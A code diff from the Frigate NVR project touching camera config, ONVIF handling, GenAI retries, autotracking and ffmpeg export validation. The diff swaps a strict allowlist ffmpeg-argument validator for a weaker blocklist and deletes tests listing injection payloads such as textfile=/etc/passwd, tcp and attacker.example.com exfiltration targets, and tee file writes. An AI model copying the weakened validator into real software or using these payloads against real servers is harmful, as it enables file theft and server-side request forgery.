default_factory=list,
|
||||
description="List of tool calls that were executed during this completion",
|
||||
)
|
||||
messages: list[dict[str, Any]] = Field(
|
||||
default_factory=list,
|
||||
description=(
|
||||
"The full conversation chain, including the system message. Persist "
|
||||
"and replay this verbatim on the next request so the prompt prefix "
|
||||
"stays byte-identical and the model server's prompt cache keeps "
|
||||
"hitting."
|
||||
),
|
||||
)
|
||||
|
||||
@@ -100,8 +100,8 @@ class CameraConfig(FrigateBaseModel):
|
||||
description="Settings for face detection and recognition for this camera.",
|
||||
)
|
||||
ffmpeg: CameraFfmpegConfig = Field(
|
||||
title="Streams (FFmpeg)",
|
||||
description="Camera stream inputs and FFmpeg options, including binary path, args, hwaccel, and per-role output args.",
|
||||
title="FFmpeg",
|
||||
description="FFmpeg settings including binary path, args, hwaccel options, and per-role output args.",
|
||||
)
|
||||
live: CameraLiveConfig = Field(
|
||||
default_factory=CameraLiveConfig,
|
||||
|
||||
@@ -3,6 +3,7 @@ from typing import Optional
|
||||
from pydantic import Field
|
||||
|
||||
from ..base import FrigateBaseModel
|
||||
from .record import RetainModeEnum
|
||||
|
||||
__all__ = ["SnapshotsConfig", "RetainConfig"]
|
||||
|
||||
@@ -13,6 +14,11 @@ class RetainConfig(FrigateBaseModel):
|
||||
title="Default retention",
|
||||
description="Default number of days to retain snapshots.",
|
||||
)
|
||||
mode: RetainModeEnum = Field(
|
||||
default=RetainModeEnum.motion,
|
||||
title="Retention mode",
|
||||
description="Mode for retention: all (save all segments), motion (save segments with motion), or active_objects (save segments with active objects).",
|
||||
)
|
||||
objects: dict[str, float] = Field(
|
||||
default_factory=dict,
|
||||
title="Object retention",
|
||||
|
||||
@@ -73,12 +73,7 @@ class CameraConfigUpdateSubscriber:
|
||||
|
||||
base_topic = "config/cameras"
|
||||
|
||||
# global subscribers must hear every camera; only narrow per-camera workers
|
||||
is_global_subscriber = (
|
||||
CameraConfigUpdateEnum.add in self.topics
|
||||
or CameraConfigUpdateEnum.remove in self.topics
|
||||
)
|
||||
if not is_global_subscriber and len(self.camera_configs) == 1:
|
||||
if len(self.camera_configs) == 1:
|
||||
base_topic += f"/{list(self.camera_configs.keys())[0]}"
|
||||
|
||||
self.subscriber = ConfigSubscriber(
|
||||
|
||||
@@ -5,7 +5,6 @@ import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
from typing import Any, AsyncGenerator, Callable, Optional
|
||||
|
||||
import numpy as np
|
||||
@@ -51,10 +50,6 @@ def register_genai_provider(key: GenAIProviderEnum) -> Callable:
|
||||
class GenAIClient:
|
||||
"""Generative AI client for Frigate."""
|
||||
|
||||
# Minimum seconds between re-initialization attempts when the provider was
|
||||
# offline at startup
|
||||
REINIT_INTERVAL = 60.0
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
genai_config: GenAIConfig,
|
||||
@@ -65,34 +60,6 @@ class GenAIClient:
|
||||
self.timeout = timeout
|
||||
self.validate_model = validate_model
|
||||
self.provider = self._init_provider()
|
||||
self._last_init_attempt = time.monotonic()
|
||||
|
||||
def ensure_provider(self) -> bool:
|
||||
"""Ensure a provider is available, retrying initialization if needed.
|
||||
|
||||
Providers can fail to initialize at startup when their backing service
|
||||
isn't online yet (common when both are started together). This retries
|
||||
``_init_provider`` lazily — throttled to ``REINIT_INTERVAL`` — so the
|
||||
client recovers on its own once the service is reachable, without a
|
||||
config reload.
|
||||
|
||||
Returns True if a provider is available.
|
||||
"""
|
||||
if self.provider is not None:
|
||||
return True
|
||||
|
||||
now = time.monotonic()
|
||||
if now - self._last_init_attempt < self.REINIT_INTERVAL:
|
||||
return False
|
||||
|
||||
self._last_init_attempt = now
|
||||
self.provider = self._init_provider()
|
||||
if self.provider is not None:
|
||||
logger.info(
|
||||
"GenAI provider %s is now available",
|
||||
self.genai_config.provider,
|
||||
)
|
||||
return self.provider is not None
|
||||
|
||||
def generate_review_description(
|
||||
self,
|
||||
|
||||
@@ -62,9 +62,7 @@ class GenAIClientManager:
|
||||
def _get_client(self, name: str) -> "Optional[GenAIClient]":
|
||||
"""Return the client for *name*, creating it on first access."""
|
||||
if name in self._clients:
|
||||
client = self._clients[name]
|
||||
client.ensure_provider()
|
||||
return client
|
||||
return self._clients[name]
|
||||
|
||||
from frigate.genai import PROVIDERS
|
||||
|
||||
@@ -80,7 +78,7 @@ class GenAIClientManager:
|
||||
return None
|
||||
|
||||
try:
|
||||
client = provider_cls(genai_cfg)
|
||||
client: "GenAIClient" = provider_cls(genai_cfg)
|
||||
except Exception as e:
|
||||
logger.exception(
|
||||
"Failed to create GenAI client for provider %s: %s",
|
||||
|
||||
@@ -48,22 +48,6 @@ def ptz_moving_at_frame_time(frame_time, ptz_start_time, ptz_stop_time):
|
||||
)
|
||||
|
||||
|
||||
def transform_is_finite(coord_transformations) -> bool:
|
||||
"""Return True if a norfair coordinate transform contains only finite values.
|
||||
|
||||
A near-singular homography (common when the motion estimator can't find
|
||||
enough stable features during zoom on a low-texture scene) can produce
|
||||
inf/nan matrix entries. norfair accumulates the homography across frames, so
|
||||
a single bad transform poisons every subsequent one and propagates nan into
|
||||
the tracker's distance function, crashing the camera process.
|
||||
"""
|
||||
for attr in ("homography_matrix", "inverse_homography_matrix", "movement_vector"):
|
||||
value = getattr(coord_transformations, attr, None)
|
||||
if value is not None and not np.all(np.isfinite(value)):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
class PtzMotionEstimator:
|
||||
def __init__(self, config: CameraConfig, ptz_metrics: PTZMetrics) -> None:
|
||||
self.frame_manager = SharedMemoryFrameManager()
|
||||
@@ -151,19 +135,6 @@ class PtzMotionEstimator:
|
||||
)
|
||||
self.coord_transformations = None
|
||||
|
||||
# A degenerate homography can yield non-finite transform values that
|
||||
# norfair would accumulate and feed to the tracker as nan estimates.
|
||||
# Drop the bad transform and request a reset so the estimator rebuilds
|
||||
# a fresh reference frame instead of poisoning every following frame.
|
||||
if self.coord_transformations is not None and not transform_is_finite(
|
||||
self.coord_transformations
|
||||
):
|
||||
logger.warning(
|
||||
f"Autotracker: motion estimator produced a non-finite transform for {camera} at frame time {frame_time}, resetting"
|
||||
)
|
||||
self.coord_transformations = None
|
||||
self.ptz_metrics.reset.set()
|
||||
|
||||
try:
|
||||
logger.debug(
|
||||
f"{camera}: Motion estimator transformation: {self.coord_transformations.rel_to_abs([[0, 0]])}"
|
||||
|
||||
+27
-1
@@ -72,7 +72,11 @@ class OnvifController:
|
||||
self.config_subscriber = CameraConfigUpdateSubscriber(
|
||||
self.config,
|
||||
self.config.cameras,
|
||||
[CameraConfigUpdateEnum.onvif],
|
||||
[
|
||||
CameraConfigUpdateEnum.onvif,
|
||||
CameraConfigUpdateEnum.add,
|
||||
CameraConfigUpdateEnum.remove,
|
||||
],
|
||||
)
|
||||
|
||||
asyncio.run_coroutine_threadsafe(self._init_cameras(), self.loop)
|
||||
@@ -101,6 +105,16 @@ class OnvifController:
|
||||
if update_type == CameraConfigUpdateEnum.onvif.name:
|
||||
for cam_name in cameras:
|
||||
await self._reinit_camera(cam_name)
|
||||
elif update_type == CameraConfigUpdateEnum.add.name:
|
||||
# a camera added at runtime only needs ONVIF set up if
|
||||
# it actually has an onvif host configured
|
||||
for cam_name in cameras:
|
||||
cam = self.config.cameras.get(cam_name)
|
||||
if cam and cam.onvif.host:
|
||||
await self._reinit_camera(cam_name)
|
||||
elif update_type == CameraConfigUpdateEnum.remove.name:
|
||||
for cam_name in cameras:
|
||||
await self._remove_camera(cam_name)
|
||||
except Exception:
|
||||
logger.error("Error checking for ONVIF config updates")
|
||||
|
||||
@@ -113,6 +127,18 @@ class OnvifController:
|
||||
except Exception:
|
||||
logger.debug(f"Error closing ONVIF session for {cam_name}")
|
||||
|
||||
async def _remove_camera(self, cam_name: str) -> None:
|
||||
"""Tear down the ONVIF session for a camera removed at runtime."""
|
||||
if cam_name not in self.cams and cam_name not in self.camera_configs:
|
||||
return
|
||||
|
||||
logger.debug(f"Tearing down ONVIF for {cam_name} after camera removal")
|
||||
await self._close_camera(cam_name)
|
||||
self.cams.pop(cam_name, None)
|
||||
self.camera_configs.pop(cam_name, None)
|
||||
self.failed_cams.pop(cam_name, None)
|
||||
self.status_locks.pop(cam_name, None)
|
||||
|
||||
async def _reinit_camera(self, cam_name: str) -> None:
|
||||
"""Re-initialize a camera after config change."""
|
||||
logger.info(f"Re-initializing ONVIF for {cam_name} due to config change")
|
||||
|
||||
+37
-132
@@ -42,118 +42,33 @@ TIMELAPSE_DATA_INPUT_ARGS = "-an -skip_frame nokey"
|
||||
# Captures the floating-point factor so we can scale expected duration.
|
||||
SETPTS_FACTOR_RE = re.compile(r"setpts=([0-9]*\.?[0-9]+)\*PTS")
|
||||
|
||||
# Allowlisted flags that take no value.
|
||||
_VALUELESS_FLAGS = frozenset({"-an", "-sn", "-dn"})
|
||||
|
||||
# Allowlisted filter flags. Their value is validated as a filtergraph and may
|
||||
# only reference filters in _SAFE_FILTERS.
|
||||
_FILTER_FLAGS = frozenset({"-vf", "-af", "-filter"})
|
||||
|
||||
# Allowlisted flags that take exactly one value (encoder / muxer-safe options).
|
||||
_VALUE_FLAGS = frozenset(
|
||||
# ffmpeg flags that can read from or write to arbitrary files
|
||||
BLOCKED_FFMPEG_ARGS = frozenset(
|
||||
{
|
||||
"-c",
|
||||
"-codec",
|
||||
"-b",
|
||||
"-crf",
|
||||
"-qp",
|
||||
"-q",
|
||||
"-qscale",
|
||||
"-preset",
|
||||
"-tune",
|
||||
"-profile",
|
||||
"-level",
|
||||
"-pix_fmt",
|
||||
"-r",
|
||||
"-g",
|
||||
"-keyint_min",
|
||||
"-sc_threshold",
|
||||
"-bf",
|
||||
"-refs",
|
||||
"-qmin",
|
||||
"-qmax",
|
||||
"-maxrate",
|
||||
"-minrate",
|
||||
"-bufsize",
|
||||
"-movflags",
|
||||
"-threads",
|
||||
"-aspect",
|
||||
"-fps_mode",
|
||||
"-vsync",
|
||||
"-skip_frame",
|
||||
"-i",
|
||||
"-filter_script",
|
||||
"-filter_complex",
|
||||
"-lavfi",
|
||||
"-vf",
|
||||
"-af",
|
||||
"-filter",
|
||||
"-vstats_file",
|
||||
"-passlogfile",
|
||||
"-sdp_file",
|
||||
"-dump_attachment",
|
||||
"-attach",
|
||||
}
|
||||
)
|
||||
|
||||
_ALLOWED_FLAGS = _VALUELESS_FLAGS | _FILTER_FLAGS | _VALUE_FLAGS
|
||||
|
||||
# Filters that cannot read files, load plugins, or open network sources.
|
||||
_SAFE_FILTERS = frozenset(
|
||||
{
|
||||
"setpts",
|
||||
"fps",
|
||||
"scale",
|
||||
"format",
|
||||
"transpose",
|
||||
"hflip",
|
||||
"vflip",
|
||||
"crop",
|
||||
"pad",
|
||||
"setsar",
|
||||
"setdar",
|
||||
}
|
||||
)
|
||||
|
||||
# Conservative shape for a non-filter flag value. Excludes "/" (paths /
|
||||
# filtergraph division), whitespace, brackets, and a leading "-" so a value
|
||||
# can never be a path or swallow a following flag. ":" is permitted for values
|
||||
# like "16:9".
|
||||
_SAFE_VALUE_RE = re.compile(r"^[A-Za-z0-9_.:+][A-Za-z0-9_.:+-]*$")
|
||||
|
||||
# Substrings inside a filtergraph that indicate a file-reading filter option.
|
||||
# "movie=" also matches "amovie=" as a substring.
|
||||
_BLOCKED_FILTER_VALUE_MARKERS = ("movie=", "textfile=", "filename=", "fontfile=")
|
||||
|
||||
|
||||
def _base_flag(token: str) -> str:
|
||||
"""Return a flag's base name, lowercased and without its stream specifier.
|
||||
|
||||
e.g. "-c:v" -> "-c", "-filter:a:0" -> "-filter".
|
||||
"""
|
||||
return token.lower().split(":", 1)[0]
|
||||
|
||||
|
||||
def _validate_filtergraph(value: str) -> tuple[bool, str]:
|
||||
"""Validate a filtergraph value, allowing only filters in _SAFE_FILTERS."""
|
||||
# None of the safe filters need any of these
|
||||
if any(token in value for token in ("://", "..", "[", "]")):
|
||||
return False, "Invalid filter graph in custom ffmpeg arguments"
|
||||
|
||||
lowered = value.lower()
|
||||
if any(marker in lowered for marker in _BLOCKED_FILTER_VALUE_MARKERS):
|
||||
return False, "File-reading filters are not allowed in custom ffmpeg arguments"
|
||||
|
||||
# Filters are separated by "," within a chain and ";" between chains. Safe
|
||||
# filters never use unescaped "," or ";" in their arguments, so splitting on
|
||||
# them to recover filter names cannot hide a disallowed filter.
|
||||
for spec in re.split(r"[;,]", value):
|
||||
spec = spec.strip()
|
||||
if not spec:
|
||||
continue
|
||||
|
||||
name = spec.split("=", 1)[0].strip().lower()
|
||||
if name not in _SAFE_FILTERS:
|
||||
return False, f"Filter not allowed in custom ffmpeg arguments: {name}"
|
||||
|
||||
return True, ""
|
||||
|
||||
|
||||
def validate_ffmpeg_args(args: str) -> tuple[bool, str]:
|
||||
"""Validate user-provided custom export ffmpeg args with an allowlist.
|
||||
"""Validate that user-provided ffmpeg args don't allow input/output injection.
|
||||
|
||||
Every token must be an allowlisted flag or the value of one; filter values
|
||||
may only reference safe filters; and no token may become a bare input or
|
||||
output URL. This structurally prevents arbitrary file read/write, network
|
||||
exfiltration/SSRF, and resource-exhaustion via the export endpoint.
|
||||
Blocks:
|
||||
- The -i flag and other flags that read/write arbitrary files
|
||||
- Filter flags (can read files via movie=/amovie= source filters)
|
||||
- Absolute/relative file paths (potential extra outputs)
|
||||
- URLs and ffmpeg protocol references (data exfiltration)
|
||||
|
||||
Admin users skip this validation entirely since they are trusted.
|
||||
"""
|
||||
@@ -161,36 +76,26 @@ def validate_ffmpeg_args(args: str) -> tuple[bool, str]:
|
||||
return True, ""
|
||||
|
||||
tokens = args.split()
|
||||
i = 0
|
||||
while i < len(tokens):
|
||||
token = tokens[i]
|
||||
|
||||
# A bare (non-flag) token here would be parsed by ffmpeg as an input or
|
||||
# output URL. Only the server sets inputs/outputs, never the user.
|
||||
if not token.startswith("-"):
|
||||
return False, f"Unexpected argument in custom ffmpeg arguments: {token}"
|
||||
|
||||
base = _base_flag(token)
|
||||
if base not in _ALLOWED_FLAGS:
|
||||
for token in tokens:
|
||||
# Block flags that could inject inputs or write to arbitrary files
|
||||
if token.lower() in BLOCKED_FFMPEG_ARGS:
|
||||
return False, f"Forbidden ffmpeg argument: {token}"
|
||||
|
||||
if base in _VALUELESS_FLAGS:
|
||||
i += 1
|
||||
continue
|
||||
# Block tokens that look like file paths (potential output injection)
|
||||
if (
|
||||
token.startswith("/")
|
||||
or token.startswith("./")
|
||||
or token.startswith("../")
|
||||
or token.startswith("~")
|
||||
):
|
||||
return False, "File paths are not allowed in custom ffmpeg arguments"
|
||||
|
||||
# Remaining flags consume exactly one value.
|
||||
if i + 1 >= len(tokens):
|
||||
return False, f"Missing value for ffmpeg argument: {token}"
|
||||
|
||||
value = tokens[i + 1]
|
||||
if base in _FILTER_FLAGS:
|
||||
valid, message = _validate_filtergraph(value)
|
||||
if not valid:
|
||||
return False, message
|
||||
elif not _SAFE_VALUE_RE.match(value):
|
||||
return False, f"Invalid value for {token}: {value}"
|
||||
|
||||
i += 2
|
||||
# Block URLs and ffmpeg protocol references (e.g. http://, tcp://, pipe:, file:)
|
||||
if "://" in token or token.startswith("pipe:") or token.startswith("file:"):
|
||||
return (
|
||||
False,
|
||||
"Protocol references are not allowed in custom ffmpeg arguments",
|
||||
)
|
||||
|
||||
return True, ""
|
||||
|
||||
|
||||
@@ -1,58 +0,0 @@
|
||||
from unittest.mock import AsyncMock, patch
|
||||
|
||||
from frigate.models import Event, Recordings, ReviewSegment
|
||||
from frigate.test.http_api.base_http_test import AuthTestClient, BaseTestHttp
|
||||
|
||||
|
||||
class TestHttpKeyframeAnalysis(BaseTestHttp):
|
||||
def setUp(self):
|
||||
super().setUp([Event, Recordings, ReviewSegment])
|
||||
|
||||
def test_invalid_camera_returns_404(self):
|
||||
app = super().create_app()
|
||||
with AuthTestClient(app) as client:
|
||||
response = client.get("/keyframe_analysis?camera=does_not_exist")
|
||||
assert response.status_code == 404
|
||||
|
||||
def test_record_disabled_returns_neutral(self):
|
||||
# default minimal_config has recording disabled
|
||||
app = super().create_app()
|
||||
with AuthTestClient(app) as client:
|
||||
response = client.get("/keyframe_analysis?camera=front_door")
|
||||
assert response.status_code == 200
|
||||
assert response.json()["severity"] == "record_disabled"
|
||||
|
||||
def test_probes_record_input_and_returns_severity(self):
|
||||
self.minimal_config["cameras"]["front_door"]["ffmpeg"]["inputs"] = [
|
||||
{
|
||||
"path": "rtsp://10.0.0.1:554/record",
|
||||
"roles": ["detect", "record"],
|
||||
}
|
||||
]
|
||||
self.minimal_config["cameras"]["front_door"]["record"] = {"enabled": True}
|
||||
app = super().create_app()
|
||||
|
||||
canned = {
|
||||
"severity": "ok",
|
||||
"keyframe_count": 5,
|
||||
"max_gap": 1.0,
|
||||
"mean_gap": 1.0,
|
||||
"min_gap": 1.0,
|
||||
"segment_time": 10,
|
||||
"duration_observed": 4.0,
|
||||
"thresholds": {"warning": 4.0, "error": 10},
|
||||
}
|
||||
|
||||
with patch(
|
||||
"frigate.api.camera.analyze_record_keyframes",
|
||||
AsyncMock(return_value=canned),
|
||||
) as mock_probe:
|
||||
with AuthTestClient(app) as client:
|
||||
response = client.get("/keyframe_analysis?camera=front_door")
|
||||
|
||||
assert response.status_code == 200
|
||||
assert response.json()["severity"] == "ok"
|
||||
# index matches the input carrying the record role ("Stream 1")
|
||||
assert response.json()["stream_index"] == 0
|
||||
# the record-role input path was probed
|
||||
assert mock_probe.await_args.args[1] == "rtsp://10.0.0.1:554/record"
|
||||
@@ -1,132 +0,0 @@
|
||||
import unittest
|
||||
|
||||
from frigate.record.export import validate_ffmpeg_args
|
||||
|
||||
|
||||
class TestValidateFfmpegArgs(unittest.TestCase):
|
||||
"""Tests for the non-admin custom export ffmpeg arg validator.
|
||||
|
||||
The validator uses a structural allowlist: every token must be an
|
||||
allowlisted flag or the value of one, filter values are restricted to a
|
||||
safe set of filters, and no token may become a bare input/output URL.
|
||||
"""
|
||||
|
||||
def assertRejected(self, args: str) -> None:
|
||||
valid, message = validate_ffmpeg_args(args)
|
||||
self.assertFalse(valid, f"expected {args!r} to be rejected")
|
||||
self.assertNotEqual(message, "")
|
||||
|
||||
def assertAllowed(self, args: str) -> None:
|
||||
valid, message = validate_ffmpeg_args(args)
|
||||
self.assertTrue(valid, f"expected {args!r} to be allowed, got: {message}")
|
||||
self.assertEqual(message, "")
|
||||
|
||||
# --- legitimate use cases must keep working ---------------------------
|
||||
|
||||
def test_timelapse_setpts_allowed(self):
|
||||
# The whole reason -vf cannot simply be blocked: timelapse exports.
|
||||
self.assertAllowed("-vf setpts=PTS/60 -r 25")
|
||||
self.assertAllowed("-vf setpts=0.04*PTS -r 30") # server default
|
||||
self.assertAllowed("-filter:v setpts=PTS/60 -r 25")
|
||||
|
||||
def test_default_input_args_allowed(self):
|
||||
self.assertAllowed("")
|
||||
self.assertAllowed("-an -skip_frame nokey")
|
||||
|
||||
def test_encoding_args_allowed(self):
|
||||
self.assertAllowed("-c:v libx264 -crf 23 -preset fast")
|
||||
self.assertAllowed("-c:v copy -c:a copy")
|
||||
self.assertAllowed("-c:v libx264 -b:v 2M -maxrate 2M -bufsize 4M")
|
||||
self.assertAllowed("-movflags +faststart")
|
||||
self.assertAllowed("-pix_fmt yuv420p -r 30 -g 30")
|
||||
|
||||
def test_safe_filters_allowed(self):
|
||||
self.assertAllowed("-vf scale=640:480")
|
||||
self.assertAllowed("-vf scale=640:480,setpts=0.5*PTS")
|
||||
self.assertAllowed("-vf format=yuv420p")
|
||||
self.assertAllowed("-vf transpose=1")
|
||||
self.assertAllowed("-vf hflip")
|
||||
self.assertAllowed("-vf fps=15")
|
||||
self.assertAllowed("-vf setsar=1 -an")
|
||||
self.assertAllowed("-vf setdar=16/9")
|
||||
|
||||
# --- the reported advisory and file-read class ------------------------
|
||||
|
||||
def test_reported_advisory_rejected(self):
|
||||
self.assertRejected(
|
||||
"-filter:v drawtext=textfile=/etc/passwd:fontcolor=white:fontsize=20"
|
||||
)
|
||||
|
||||
def test_file_reading_filters_rejected(self):
|
||||
self.assertRejected("-vf movie=/etc/passwd")
|
||||
self.assertRejected("-vf drawtext=textfile=/etc/passwd")
|
||||
self.assertRejected("-vf subtitles=/etc/passwd")
|
||||
# marker embedded as an option of an otherwise-allowed filter name
|
||||
self.assertRejected("-vf scale=movie=/etc/passwd")
|
||||
|
||||
def test_filtergraph_brackets_rejected(self):
|
||||
# link labels aren't needed for safe filters; rejecting "[" / "]" keeps
|
||||
# filtergraph validation linear (no ReDoS on attacker input)
|
||||
self.assertRejected("-vf [in]scale=640:480[out]")
|
||||
self.assertRejected("-vf " + "[" * 5000)
|
||||
|
||||
def test_preset_file_read_rejected(self):
|
||||
# cwd-anchored traversal slipped past the old startswith() path check
|
||||
self.assertRejected("-fpre frigate/../../../etc/passwd")
|
||||
self.assertRejected("-fpre evil.preset")
|
||||
self.assertRejected("-vpre x")
|
||||
self.assertRejected("-apre x")
|
||||
self.assertRejected("-pre x")
|
||||
|
||||
def test_slash_option_file_read_rejected(self):
|
||||
# ffmpeg "-/option file" reads the option value from a file
|
||||
self.assertRejected("-/filter:v graph.txt")
|
||||
self.assertRejected("-/filter_complex graph.txt")
|
||||
|
||||
# --- network / SSRF class ---------------------------------------------
|
||||
|
||||
def test_schemeless_protocol_rejected(self):
|
||||
self.assertRejected("-f mpegts tcp:10.0.0.5:4444")
|
||||
self.assertRejected("tcp:10.0.0.5:4444")
|
||||
self.assertRejected("udp:10.0.0.5:4444")
|
||||
self.assertRejected("-progress http:attacker.example.com:80/p")
|
||||
|
||||
# --- file-write class --------------------------------------------------
|
||||
|
||||
def test_tee_write_rejected(self):
|
||||
self.assertRejected("-c:v libx264 -map 0 -f tee [f=mpegts]/tmp/owned.ts")
|
||||
self.assertRejected("-f tee [f=mpegts]/etc/frigate/x.ts")
|
||||
self.assertRejected("tee:/tmp/x")
|
||||
|
||||
def test_bare_output_token_rejected(self):
|
||||
self.assertRejected("evil.mp4")
|
||||
self.assertRejected("-c copy evil.mp4")
|
||||
self.assertRejected("x/../escaped.mkv")
|
||||
|
||||
def test_file_producing_muxers_rejected(self):
|
||||
self.assertRejected("-f hls -hls_segment_filename pwn%03d.ts out.m3u8")
|
||||
self.assertRejected("-f md5 victim.txt")
|
||||
self.assertRejected("-f segment seg%03d.ts")
|
||||
|
||||
def test_write_flags_rejected(self):
|
||||
self.assertRejected("-progress evil.log")
|
||||
self.assertRejected("-stats_enc_pre evil.csv")
|
||||
self.assertRejected("-report")
|
||||
|
||||
# --- resource exhaustion / misc ---------------------------------------
|
||||
|
||||
def test_dos_input_flags_rejected(self):
|
||||
self.assertRejected("-stream_loop -1")
|
||||
self.assertRejected("-readrate 0.001")
|
||||
|
||||
def test_disallowed_flags_rejected(self):
|
||||
self.assertRejected("-map 0")
|
||||
self.assertRejected("-i /etc/passwd")
|
||||
self.assertRejected("-attach evil.bin")
|
||||
self.assertRejected("-dump_attachment evil.bin")
|
||||
self.assertRejected("/etc/passwd")
|
||||
self.assertRejected("-metadata comment=x")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -1,111 +0,0 @@
|
||||
"""Tests for keyframe-spacing analysis used to detect smart/+ codecs."""
|
||||
|
||||
import asyncio
|
||||
import unittest
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
from frigate.util.services import (
|
||||
analyze_record_keyframes,
|
||||
classify_keyframe_gaps,
|
||||
parse_keyframe_packets,
|
||||
)
|
||||
|
||||
|
||||
class TestClassifyKeyframeGaps(unittest.TestCase):
|
||||
def test_ok_when_gaps_small(self):
|
||||
# keyframes every ~1s
|
||||
pts = [0.0, 1.0, 2.0, 3.0, 4.0]
|
||||
result = classify_keyframe_gaps(pts, segment_time=10)
|
||||
self.assertEqual(result["severity"], "ok")
|
||||
self.assertEqual(result["max_gap"], 1.0)
|
||||
self.assertEqual(result["keyframe_count"], 5)
|
||||
self.assertEqual(result["thresholds"], {"warning": 4.0, "error": 10})
|
||||
|
||||
def test_warning_when_gap_exceeds_four_seconds(self):
|
||||
pts = [0.0, 1.0, 6.5] # 5.5s gap
|
||||
result = classify_keyframe_gaps(pts, segment_time=10)
|
||||
self.assertEqual(result["severity"], "warning")
|
||||
self.assertEqual(result["max_gap"], 5.5)
|
||||
|
||||
def test_error_when_gap_exceeds_segment_time(self):
|
||||
pts = [0.0, 12.0] # 12s gap > 10s segment
|
||||
result = classify_keyframe_gaps(pts, segment_time=10)
|
||||
self.assertEqual(result["severity"], "error")
|
||||
|
||||
def test_error_threshold_tracks_segment_time(self):
|
||||
pts = [0.0, 6.0] # 6s gap, segment_time=5 -> error
|
||||
result = classify_keyframe_gaps(pts, segment_time=5)
|
||||
self.assertEqual(result["severity"], "error")
|
||||
|
||||
def test_unknown_with_single_keyframe(self):
|
||||
result = classify_keyframe_gaps([1.0], segment_time=10)
|
||||
self.assertEqual(result["severity"], "unknown")
|
||||
self.assertIsNone(result["max_gap"])
|
||||
self.assertEqual(result["keyframe_count"], 1)
|
||||
|
||||
def test_unknown_with_no_keyframes(self):
|
||||
result = classify_keyframe_gaps([], segment_time=10)
|
||||
self.assertEqual(result["severity"], "unknown")
|
||||
self.assertEqual(result["keyframe_count"], 0)
|
||||
|
||||
|
||||
class TestParseKeyframePackets(unittest.TestCase):
|
||||
def test_extracts_keyframe_pts_and_max(self):
|
||||
output = "0.000000,K__\n0.033333,___\n1.000000,K__\n1.500000,___\n"
|
||||
keyframe_pts, max_pts = parse_keyframe_packets(output)
|
||||
self.assertEqual(keyframe_pts, [0.0, 1.0])
|
||||
self.assertEqual(max_pts, 1.5)
|
||||
|
||||
def test_skips_unparseable_and_empty_lines(self):
|
||||
output = "N/A,K__\n\n2.0,K__\nbad line\n"
|
||||
keyframe_pts, max_pts = parse_keyframe_packets(output)
|
||||
self.assertEqual(keyframe_pts, [2.0])
|
||||
self.assertEqual(max_pts, 2.0)
|
||||
|
||||
def test_empty_output(self):
|
||||
keyframe_pts, max_pts = parse_keyframe_packets("")
|
||||
self.assertEqual(keyframe_pts, [])
|
||||
self.assertIsNone(max_pts)
|
||||
|
||||
|
||||
class TestAnalyzeRecordKeyframes(unittest.IsolatedAsyncioTestCase):
|
||||
async def test_merges_duration_and_classification(self):
|
||||
csv = b"0.0,K__\n1.0,___\n6.0,K__\n7.0,___\n"
|
||||
proc = MagicMock()
|
||||
proc.communicate = AsyncMock(return_value=(csv, b""))
|
||||
ffmpeg = MagicMock()
|
||||
ffmpeg.ffprobe_path = "/usr/bin/ffprobe"
|
||||
|
||||
with patch(
|
||||
"frigate.util.services.asyncio.create_subprocess_exec",
|
||||
AsyncMock(return_value=proc),
|
||||
):
|
||||
result = await analyze_record_keyframes(
|
||||
ffmpeg, "rtsp://cam/stream", segment_time=10
|
||||
)
|
||||
|
||||
self.assertEqual(result["severity"], "warning") # 6s gap > 4s
|
||||
self.assertEqual(result["max_gap"], 6.0)
|
||||
self.assertEqual(result["duration_observed"], 7.0)
|
||||
|
||||
async def test_timeout_returns_unknown(self):
|
||||
proc = MagicMock()
|
||||
proc.communicate = AsyncMock(side_effect=asyncio.TimeoutError())
|
||||
proc.kill = MagicMock()
|
||||
ffmpeg = MagicMock()
|
||||
ffmpeg.ffprobe_path = "/usr/bin/ffprobe"
|
||||
|
||||
with patch(
|
||||
"frigate.util.services.asyncio.create_subprocess_exec",
|
||||
AsyncMock(return_value=proc),
|
||||
):
|
||||
result = await analyze_record_keyframes(
|
||||
ffmpeg, "rtsp://cam/stream", segment_time=10
|
||||
)
|
||||
|
||||
self.assertEqual(result["severity"], "unknown")
|
||||
proc.kill.assert_called_once()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -1,91 +0,0 @@
|
||||
import math
|
||||
import unittest
|
||||
|
||||
import numpy as np
|
||||
from norfair.camera_motion import (
|
||||
HomographyTransformation,
|
||||
TranslationTransformation,
|
||||
)
|
||||
|
||||
from frigate.ptz.autotrack import transform_is_finite
|
||||
from frigate.track.norfair_tracker import distance
|
||||
|
||||
|
||||
class TestNorfairDistance(unittest.TestCase):
|
||||
"""Regression tests for the tracker distance guard.
|
||||
|
||||
norfair raises a hard ValueError on any nan distance, which kills the camera
|
||||
process. During autotracking, an ill-conditioned homography can hand the
|
||||
tracker a non-finite or degenerate estimate box, so distance() must never
|
||||
return nan for any input.
|
||||
"""
|
||||
|
||||
def setUp(self) -> None:
|
||||
# boxes are [[x1, y1], [x2, y2]]
|
||||
self.detection = np.array([[805.0, 402.0], [864.0, 521.0]])
|
||||
self.estimate = np.array([[800.0, 400.0], [860.0, 520.0]])
|
||||
|
||||
def test_finite_boxes_give_finite_distance(self) -> None:
|
||||
d = distance(self.detection, self.estimate)
|
||||
self.assertTrue(math.isfinite(d))
|
||||
|
||||
def test_inf_estimate_corner_does_not_return_nan(self) -> None:
|
||||
estimate = np.array([[np.inf, 400.0], [860.0, 520.0]])
|
||||
d = distance(self.detection, estimate)
|
||||
self.assertFalse(math.isnan(d))
|
||||
self.assertEqual(d, float("inf"))
|
||||
|
||||
def test_nan_estimate_corner_does_not_return_nan(self) -> None:
|
||||
# the actual autotracking crash: a positive-only guard would miss this
|
||||
# because nan <= 0 is False
|
||||
estimate = np.array([[np.nan, 400.0], [860.0, 520.0]])
|
||||
d = distance(self.detection, estimate)
|
||||
self.assertFalse(math.isnan(d))
|
||||
self.assertEqual(d, float("inf"))
|
||||
|
||||
def test_zero_area_estimate_does_not_return_nan(self) -> None:
|
||||
estimate = np.array([[900.0, 500.0], [900.0, 500.0]])
|
||||
d = distance(self.detection, estimate)
|
||||
self.assertFalse(math.isnan(d))
|
||||
self.assertEqual(d, float("inf"))
|
||||
